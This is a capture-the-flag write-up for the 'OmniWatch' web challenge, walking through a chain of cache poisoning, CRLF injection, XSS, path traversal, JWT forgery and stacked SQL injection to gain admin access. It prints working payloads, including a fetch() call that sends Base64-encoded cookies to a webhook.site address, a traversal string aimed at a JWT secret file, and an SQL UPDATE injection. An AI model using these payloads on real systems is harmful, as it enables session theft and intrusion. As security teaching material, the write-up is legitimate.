November 5, 2026
OmniWatch โ Complete Attack Walkthrough
Challenge without FLAG
By Michele Grimaldi
2 min read
INTERNET
|
v
VARNISH :1337
/ \
v v
CONTROLLER ORACLE
Flask Zig
:3000 :4000
|
v
Login / JWT
Devices / Admin
|
v
FLAG
SELENIUM BOT
Moderator / 30s INTERNET
|
v
VARNISH :1337
/ \
v v
CONTROLLER ORACLE
Flask Zig
:3000 :4000
|
v
Login / JWT
Devices / Admin
|
v
FLAG
SELENIUM BOT
Moderator / 30s1. Reconnaissance
We analyzed the challenge architecture and identified the following components:
- Varnish: Caches responses for 10 seconds. Its cache key uses only
CacheKey, ignoring the URL. - Controller (Flask): Handles authentication, JWT, devices and administration.
- Oracle (Zig): Returns fake GPS coordinates but contains two injection points:
modeโ HTML โ XSS.deviceIdโ HTTP header โ CRLF Injection.- Selenium Bot: Logs in as moderator and visits
/oracle/json/Nevery 30 seconds. - JWT Cookie: Missing the
HttpOnlyflag. - Database: Allows writes to the
signaturestable.
2. Cache Poisoning + CRLF Injection
Using exploit.py, we crafted a malicious URL containing an XSS payload and a CRLF injection to add:
CacheKey: enableCacheKey: enableVarnish ignored the URL and used an empty cache key, causing different /oracle/* requests to share the same cached response.
Our poisoned HTML could therefore be served to the Selenium bot.
3. XSS โ JWT Theft
The injected JavaScript was:
fetch('https://webhook.site/โฆ/jwt/' + btoa(document.cookie))fetch('https://webhook.site/โฆ/jwt/' + btoa(document.cookie))The bot executed the script, which collected its accessible cookies, encoded them with Base64 and sent them to our webhook.
Since the JWT cookie lacked HttpOnly, we recovered the moderator's session.
exploit_loop.py automated the timing, repeating the poisoning attempts every 3 seconds.
4. Path Traversal โ JWT Secret Recovery
Using the moderator's JWT, we accessed:
POST /controller/firmwarePOST /controller/firmwareThe patch parameter was vulnerable to Path Traversal:
patch=../../../jwt_secret.txtpatch=../../../jwt_secret.txtThis allowed us to read /app/jwt_secret.txt and recover the JWT signing secret.
5. JWT Forgery
With the recovered secret, forge.py generated a new administrator token:
{
"user_id": 1,
"account_type": "administrator"
}{
"user_id": 1,
"account_type": "administrator"
}However, the middleware also checked the signature against the database's signatures table. We needed to update that record.
6. SQL Injection โ Updating the Signature
We found an SQL Injection in:
/controller/device/<id>/controller/device/<id>The application used an SQL f-string with multi=True, allowing multiple SQL statements.
The injection structure was:
1' OR 1=1;
UPDATE signatures
SET signature=0x<TOKEN_SIGNATURE>;
--1' OR 1=1;
UPDATE signatures
SET signature=0x<TOKEN_SIGNATURE>;
--The first attempts encountered MySQL syntax errors. However, the UPDATE was committed independently before the final statement failed.
The database now contained our forged JWT signature.
7. Administrator Access โ Getting the Flag
With the forged JWT and the updated database signature, we accessed:
GET /controller/admin
Cookie: jwt=<JWT_ADMIN>GET /controller/admin
Cookie: jwt=<JWT_ADMIN>The application executed:
/readflag/readflagFlag obtained. Challenge completed.
8. Complete Attack Chain
RECONNAISSANCE
|
CRLF INJECTION
|
CACHE POISONING
|
XSS
|
MODERATOR JWT THEFT
|
PATH TRAVERSAL / LFI
|
JWT SECRET RECOVERY
|
JWT FORGERY
|
SQL INJECTION
|
DATABASE SIGNATURE UPDATE
|
ADMIN ACCESS
|
FLAGRECONNAISSANCE
|
CRLF INJECTION
|
CACHE POISONING
|
XSS
|
MODERATOR JWT THEFT
|
PATH TRAVERSAL / LFI
|
JWT SECRET RECOVERY
|
JWT FORGERY
|
SQL INJECTION
|
DATABASE SIGNATURE UPDATE
|
ADMIN ACCESS
|
FLAG9. Vulnerability Summary
VulnerabilityTargetCache PoisoningVarnishCRLF InjectionOracleXSSOracle + Selenium BotCookie without HttpOnlyFlaskPath Traversal / LFIFlaskJWT ForgeryFlaskMulti-statement SQL InjectionFlask / Database
10. Key Takeaway
OmniWatch demonstrates how multiple vulnerabilities can be chained into a complete compromise.
- Cache Poisoning delivered our payload.
- XSS stole the moderator's session.
- LFI exposed the JWT secret.
- JWT Forgery created administrator credentials.
- SQL Injection updated the database signature.
- Administrator access gave us the flag.
The real challenge was not finding individual vulnerabilities, but understanding how to connect them into one complete attack chain.
We exploited a misconfigured cache to inject JavaScript via CRLF and XSS, causing the bot to execute the payload and steal the moderator's JWT. Using that token, we retrieved the JWT secret via Path Traversal, forged an administrator-level JWT, and employed SQL Injection to update the signature in the database โ ultimately gaining admin access and the flag.